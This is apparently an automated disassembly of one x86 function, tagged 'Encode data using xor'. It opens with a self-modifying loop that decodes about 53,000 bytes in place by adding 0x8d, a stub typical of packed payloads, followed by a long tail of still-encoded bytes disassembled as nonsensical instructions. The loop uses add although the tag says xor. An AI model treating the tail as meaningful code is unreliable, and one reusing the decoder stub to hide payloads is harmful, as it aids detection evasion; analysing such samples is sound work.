Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebx
sub esp, 0x44
mov eax, 0x401023
mov ecx, 0
mov bl, byte [eax]
add bl, 0x8d
mov byte [eax], bl
add eax, 1
add ecx, 1
cmp ecx, 0xd137
jne 0x40100e
sub esi, dword [ebx + 0x73]
mov ah, 0x73
sub al, 0x73
jae 0x40109f
jae 0x4010a0
jae 0x40102b
std
mov esi, ebx
pop edx
pop edx
sti
mov esi, esi
xor al, 0x74
div byte [ebx]
je 0x40102f
insb byte es:[edi], dx
jb 0x400fd8
jae 0x4010b3
call 0x83b33ba3
mov bl, 0x73
cld
cld
mov ebp, dword [ebx]
dec eax
dec ebp
sub ecx, dword [eax + 0x4d]
mov bl, 0x73
div byte [ebx]
jae 0x40104d
aaa
mov bh, 0x72
inc ebx
into
pop ebx
js 0x4010d4
jae 0x4010d6
pop esp
jge 0x4010d9
jae 0x4010db
sub al, 0x4b
lcall 0x7328, 0xde5c73b4
jae 0x40104e
int1
xor dword [ebx + 0x3ca25b73], 0x73
jae 0x401049
sub al, 0x4b
lcall 0x7318, 0x515c73b4
jae 0x4010e4
js 0x4010fe
jae 0x401100
pop esp
jge 0x401103
jae 0x401105
sub al, 0x7b
wait
mov ah, 0x73
pop esp
mov ah, 0x28
jae 0x40110f
fistp dword [ebx]
xor dword [ebx + 0x3c785b73], 0x73
jae 0x401073
mov bl, 0x73
pop ebx
jae 0x4010fd
js 0x4010e0
jae 0x401119
int3
sub al, 0x7b
wait
mov ah, 0x73
pop esp
daa
sbb byte [ebx + 0x73], dh
pop ebx
js 0x401128
jae 0x40112a
pop esp
jge 0x40112d
jae 0x40112f
sub al, 0xcb
popfd
mov ah, 0x73
pop esp
mov ch, byte [eax]
jae 0x401139
fild dword [ebp - 0x7d]
mov bl, 0x73
pop ebx
dec esi
cmp esi, dword [ebx + 0x73]
int3
popfd
mov ah, 0x73
pop esp
jae 0x401134
std
sbb byte [ebx + 0x73], dh
pop ebx
jae 0x401138
js 0x401152
jae 0x401154
jae 0x40113e
pop esp
jge 0x401157
jae 0x401159
sub al, 0x33
mov cl, 0xb4
jae 0x401148
pushal
daa
jae 0x401163
fld xword [edi - 0x7d]
mov bl, 0x73
pop ebx
and al, 0x3b
jae 0x40116d
int3
xor esi, dword [ecx - 0x2ca38c4c]
mov cl, 0xb4
jae 0x40115e
rcr dword [eax], cl
jae 0x401179
sbb byte [ebx + 0x73], dh
jae 0x401162
pop ebx
js 0x40117c
jae 0x40117e
pop esp
jge 0x401181
jae 0x401183
jae 0x40113d
sub al, 0x63
mov cl, 0xb4
jae 0x401172
arpl word [ecx + 0x365c73b4], si
daa
daa
jae 0x40118d
jae 0x4010f6
fistp dword [ecx + 0x5b73b384]
cli
cmp esi, dword [ebx + 0x73]
cdq
test byte [ebx + 0x3bfa5b73], dh
jae 0x401197
int3
mov cl, 0xb4
jae 0x401188
dec edi
pop ds
jae 0x4011a3
jae 0x40118c
pop ebx
js 0x4011a6
jae 0x4011a8
jae 0x401192
pop esp
jge 0x4011ab
jae 0x4011ad
jae 0x401167
sub al, 0x93
xchg ebx, eax
mov dl, 0xb4
mov ah, 0x73
pop esp
jae 0x40119c
or al, 0x27
jae 0x4011b7
fcmovnb st(0), st(3)
test byte [ebx + 0x3bd05b73], dh
jae 0x4011a5
sar byte [ebx], 1
jae 0x4011c1
int3
mov dl, 0xb4
jae 0x4011b2
jg 0x401170
sbb byte [ebx + 0x73], dh
jae 0x4011cd
jae 0x4011b6
pop ebx
js 0x4011d0
jae 0x4011d2
jae 0x4011bc
pop esp
jge 0x4011d5
jae 0x4011d7
jae 0x401191
sub al, 0x2b
popfd
sub ebx, dword [ebp - 0x1da38c4c]
daa
mov ah, 0x73
pop esp
loop 0x401193
jae 0x4011e1
jae 0x40114a
fucomi st(5)
in eax, dx
test byte [ebx + 0x3ba65b73], dh
jae 0x4011eb
jae 0x4011cf
cmpsb byte [esi], byte es:[edi]
cmp esi, dword [ebx + 0x73]
int3
sub al, 0x2b
popfd
mov ah, 0x73
pop esp
jae 0x4011dc
push ebp
pop ss
jae 0x4011f7
jae 0x4011e0
pop ebx
js 0x4011fa
jae 0x4011fc
jae 0x4011e6
pop esp
jge 0x4011ff
jae 0x401201
jae 0x4011bb
sub al, 0xc3
mov dl, 0xb4
ret
mov ah, 0x73
jae 0x4011f0
pop esp
mov eax, 0xdb737327
jae 0x401174
pop ss
test byte [ebx + 0x3b7c5b73], dh
jae 0x4011f9
jl 0x4011db
jae 0x401215
int3
sub al, 0xc3
ret
mov dl, 0xb4
jae 0x401206
push esp
and byte [ebx + 0x73], dh
pop ebx
jae 0x40120a
js 0x401224
jae 0x401226
jae 0x401210
pop esp
jge 0x401229
jae 0x40122b
jae 0x4011e5
sub al, 0xfb
sti
popfd
mov ah, 0x73
pop esp
jae 0x40121a
mov fs, word [edi]
jae 0x401235
jae 0x40119e
fild dword [ecx - 0x7c]
mov bl, 0x73
pop ebx
inc ecx
test byte [ebx + 0x3a525b73], dh
jae 0x40123f
push edx
cmp dh, byte [ebx + 0x73]
int3
sub al, 0xfb
sti
popfd
mov ah, 0x73
pop esp
jae 0x401230
int 0x22
jae 0x40124b
and dh, byte [ebx + 0x73]
jae 0x401234
pop ebx
js 0x40124e
jae 0x401250
jae 0x40123a
pop esp
jge 0x401253
jae 0x401255
jae 0x40120f
sub al, 0xbb
lcall 0x7326, 0x645c73b4
mov ebx, 0x5c73b49a
mov ah, 0x73
pop esp
jae 0x401244
jae 0x40125f
jae 0x4011c8
fld xword [ebx - 0x7c]
mov bl, 0x73
pop ebx
imul eax, dword [ebx + esi*4 + 0x3a285b73], 0x73
jae 0x4011c3
jae 0x40124d
sub byte [edx], bh
jae 0x401269
int3
sub al, 0xbb
mov ebx, 0x5c73b49a
lcall 0x7317, 0xd75c73b4
jae 0x40125a
xlatb
pop ss
jae 0x401275
jae 0x40125e
pop ebx
js 0x401278
jae 0x40127a
jae 0x401264
pop esp
jge 0x40127d
jae 0x40127f
sub al, 0xeb
lcall 0x7326, 0x3a5c73b4
mov ah, 0x73
pop esp
jae 0x40126e
cmp ah, byte [esi]
jae 0x401289
jae 0x4011f2
fist dword [ebp + 0x5b73b385]
xchg ebp, eax
test dword [ebx + 0x3afe5b73], esi
jae 0x401293
jae 0x401277
invalid
int3
lcall 0x7323, 0xfc5c73b4
jae 0x401284
cld
and esi, dword [ebx + 0x73]
pop ebx
jae 0x401288
js 0x4012a2
jae 0x4012a4
jae 0x40128e
pop esp
jge 0x4012a7
jae 0x4012a9
jae 0x401263
sub al, 0x1b
lcall 0x7326, 0x105c73b4
sbb ebx, dword [edx + 0x105c73b4]
jae 0x4012b3
jae 0x401298
adc byte [esi], ah
jae 0x4012b3
jae 0x40121c
fstp xword [edi + 0x5b73b385]
mov edi, 0x5b73b385
jae 0x4012a1
aam 0x3a
jae 0x4012bd
int3
sub al, 0x1b
sbb ebx, dword [edx - 0x7ca38c4c]
lcall 0x7317, 0x835c73b4
jae 0x4012ae
adc dword [edi], 0x73
pop ss
jae 0x4012c9
jae 0x4012b2
pop ebx
js 0x4012cc
jae 0x4012ce
jae 0x4012b8
pop esp
jge 0x4012d1
jae 0x4012d3
jae 0x40128d
sub al, 0xd3
pushfd
rcr dword [esp + esi*4 + 0x26e65c73], cl
mov ah, 0x73
pop esp
jae 0x4012c2
out 0x26, al
jae 0x4012dd
jae 0x401246
fucomi st(1)
test dword [ebx + 0x3aaa5b73], esi
jae 0x4012e7
jmp 0x5bb3c5f5
jae 0x4012cb
stosb byte es:[edi], al
cmp dh, byte [ebx + 0x73]
int3
sub al, 0xd3
rcr dword [esp + esi*4 + 0x23ca5c73], cl
jae 0x4012f3
pushfd
mov ah, 0x73
pop esp
jae 0x4012d8
retf 0x7323
and esi, dword [ebx + 0x73]
jae 0x4012dc
pop ebx
js 0x4012f6
jae 0x4012f8
jae 0x4012e2
pop esp
jge 0x4012fb
jae 0x4012fd
jae 0x4012b7
sub al, 0x73
pushfd
jae 0x401229
mov ah, 0x73
pop esp
jae 0x4012ec
mov esp, 0xdb737326
jae 0x401270
adc eax, dword [ebp - 0x7fa48c4d]
cmp dh, byte [ebx + 0x73]
int3
jae 0x4012f5
cmp byte [edx], 0x73
jae 0x40126b
sub al, 0x73
jae 0x40123f
pushfd
mov ah, 0x73
pop esp
jae 0x401302
and esp, dword [ebx + esi*2]
and al, 0x73
jae 0x401306
js 0x401320
jae 0x401322
jae 0x40130c
pop esp
jge 0x401325
jae 0x401327
jae 0x4012e1
sub al, 0xa3
pushfd
mov dword [0x5c73b49c], eax
mov ah, 0x73
jae 0x401316
pop esp
xchg edx, eax
jae 0x401331
jae 0x40129a
fstp xword [0x5b73b385]
cmp eax, 0x5b73b385
jae 0x40131f
push esi
cmp dword [ebx + 0x73], esi
int3
sub al, 0xa3
mov dword [0x5c73b49c], eax
pushfd
mov ah, 0x73
pop esp
jae 0x40132c
scasb al, byte es:[edi]
jae 0x401347
jae 0x401347
jae 0x401330
pop ebx
js 0x40134a
jae 0x40134c
jae 0x401336
pop esp
jge 0x40134f
jae 0x401351
jae 0x40130b
sub al, 3
mov cl, 0xb4
add esi, dword [ecx + 0x685c73b4]
and eax, 0x67db7373
test dword [ebx + 0x392c5b73], esi
mov ah, 0x73
pop esp
jae 0x401340
push 0xdb737325
jae 0x4012c4
test dword [bp + di + 0x5b73], esi
jae 0x401349
sub al, 0x39
jae 0x401365
int3
sub al, 3
add esi, dword [ecx - 0x24a38c4c]
mov cl, 0xb4
jae 0x401356
fist dword [esi]
push ss
jae 0x401371
jae 0x40135a
pop ebx
fdivr qword [ebx]
jae 0x401376
jae 0x401310
or al, 0x2c
insd dword es:[edi], dx
sub al, 0x6d
jae 0x40137b
jae 0x401374
insb byte es:[edi], dx
std
xor eax, 0x77e933f7
lodsd eax, dword [esi]
ja 0x4012bf
xor al, 0xe5
jne 0x401339
je 0x401316
mov edi, 0xc7fe8397
xchg edi, eax
cmp esi, 0xffffffc7
xchg edi, eax
jnp 0x4012e9
leave
add byte [edi - 0xfbe5183], ah
mov edi, esi
invalid
jge 0x4012d2
inc ecx
invalid
inc bh
xchg edi, eax
jnp 0x401322
out dx, eax
xchg edi, eax
xor dword [ebx - 0x19], 0x78
out 0x78, eax
js 0x4012ce
wait
ja 0x4012b9
pop esi
jbe 0x4013ab
ja 0x4012be
test byte [esi + ebp*4 - 0x2ea010bf], dh
mov ah, 0xae
inc ecx
out dx, eax
pop edi
sal dword [esi], 1
leave
leave
invalid
pop ebx
lea edi, [ebx]
cmp esi, dword [ebx + 0x73]
jae 0x4013bf
jae 0x401319
int3
cmpsb byte [esi], byte es:[edi]
cmp al, 0xf8
clc
xor esi, ecx
int1
jg 0x401351
invalid
jg 0x4012f3
xchg dword [esp + esi*4 + 0x67ef3bae], esp
sal dword [esi], 1
leave
jb 0x40134b
mov ah, 0xae
scasb al, byte es:[edi]
cmp ebp, edi
out dx, eax
sal dword [0x72c9], 1
out 0x97, eax
xchg edi, eax
jnp 0x4013c2
outsb dx, byte [esi]
cmp dh, byte [ebx + 0x73]
mov bl, 0xc3
pop ebx
out dx, eax
cmp dword [ebx + 0x73], esi
jb 0x40135b
jae 0x4013e5
out 0x97, eax
xchg edi, eax
cmp esi, 0x63
leave
pop ebx
cmp dh, byte [bp + di + 0x73]
invalid
cmp dh, byte [ebx + 0x73]
div byte [edi]
cmp esi, 0x39
sal dword [esi], 1
leave
jb 0x40136f
xchg edi, eax
jnp 0x4013e6
inc ebp
jb 0x401400
jb 0x401401
jb 0x40138e
invalid
arpl bp, bx
je 0x40135d
pop ebx
sbb esi, dword [edx + 0x72]
jb 0x401390
aaa
jg 0x40139b
cmp ecx, edx
enter 0x5ffe, 0x2b
xchg ebx, eax
xchg dword [ebx + 0x73], esi
pop ebx
push esi
cmp dh, byte [ebx + 0x73]
jae 0x401420
invalid
imul esi, dword [ebx - 0x35368c4c], 0xffffff82
test dword [edi + 0x73], 0xf7317373
jae 0x401376
retf 0xf782
inc edi
jae 0x401430
jae 0x4013f0
div dword [ebx - 0x4c]
jae 0x40138d
pop ebx
adc byte [edx], bh
jae 0x40143c
mov bl, 0xc3
pop ebx
xchg ecx, eax
cmp dword [ebx + 0x73], esi
jb 0x4013ba
jnp 0x4013d0
mov eax, 0x53f8006b
pop esi
jb 0x40144e
ret
pop esi
jb 0x40145a
fnsave dword [ebx + eax*8 + 0x5b]
inc esi
cdq
jae 0x401463
ret
div byte [edi]
mov eax, dword [eax]
clc
push ebx
pop esi
jb 0x40146b
fcomi st(3)
jae 0x401470
jae 0x4013c2
jb 0x401389
mov byte [ebx - 0x4c], dh
jae 0x4013b7
mov ah, 0x73
add al, bh
invalid
arpl di, sp
fld dword [eax]
shl byte [edi - 0x3c], 0xc3
jb 0x4013b2
inc ebx
mov bl, 0xb4
jae 0x40142d
invalid
imul eax, esi, 0x76
invalid
invalid
jae 0x4014b1
int3
jb 0x40142e
arpl word [edx - 0x78], si
ja 0x4013ff
mov ah, 0x73
add byte [eax - 0x363c3999], bh
mov eax, 0xc9c3c667
pop ebx
cmp dword [edx], 0xc3cc7373
jb 0x401444
imul esi, dword [edx - 0x18], 0x63
jb 0x4013ea
call 0x6fc886c6
outsd dx, dword [esi]
mov bl, 0xb4
jae 0x401430
pop ebx
insd dword es:[edi], dx
cmp dword [ebx + 0x73], esi
inc al
imul ecx, ecx, 0xffffffc4
jae 0x40146b
shr byte [ebx - 0x37], 0xc4
invalid
sti
invalid
jae 0x40150c
adc al, 0xf7
mov bh, 0xb4
jae 0x40149d
and byte [ebx + 0x7673b474], 0x3b
scasb al, byte es:[edi]
cmp ebp, dword [esi - 0x3890e94]
insb byte es:[edi], dx
int1
jbe 0x4014a7
mov eax, 0x73ffdb7b
mov ah, 0x73
pop ebx
jae 0x40150e
and bh, byte [ecx]
jae 0x40152a
leave
invalid
sar byte [ebx + 0x76], 0x42
add byte [edi - 0x223c8785], dh
jnp 0x401540
mov bh, al
mov ah, 0xb4
jae 0x401497
ret
jb 0x40145e
cmpsd dword [esi], dword es:[edi]
mov ah, 0xb4
jae 0x4014d9
invalid
mov byte [edi - 0x4c], dh
mov ah, 0x73
add byte [eax + 0x72c3c667], bh
call 0x6c288770
retf 0x8872
jb 0x401584
xor al, 0x73
xor dword [esi + ebp*4 + 0x63ef7bc0], 0xffffffc6
mov dh, 0xca
jb 0x4014a5
ja 0x4014d3
mov ah, 0x73
add byte [eax + 0x72c3c667], bh
mov bl, 0x72
call 0x6c2887a7
retf 0x8872
call 0x88b2df9a
jnp 0x4014e5
mov ah, 0x73
jb 0x40151d
imul ebx, ebp, 0x74
jb 0x4014c2
invalid
mov bh, dl
mov ah, 0xb4
jae 0x401523
jne 0x40150e
invalid
leave
pop ebx
dec edi
cmp byte [ebx + 0x73], dh
int3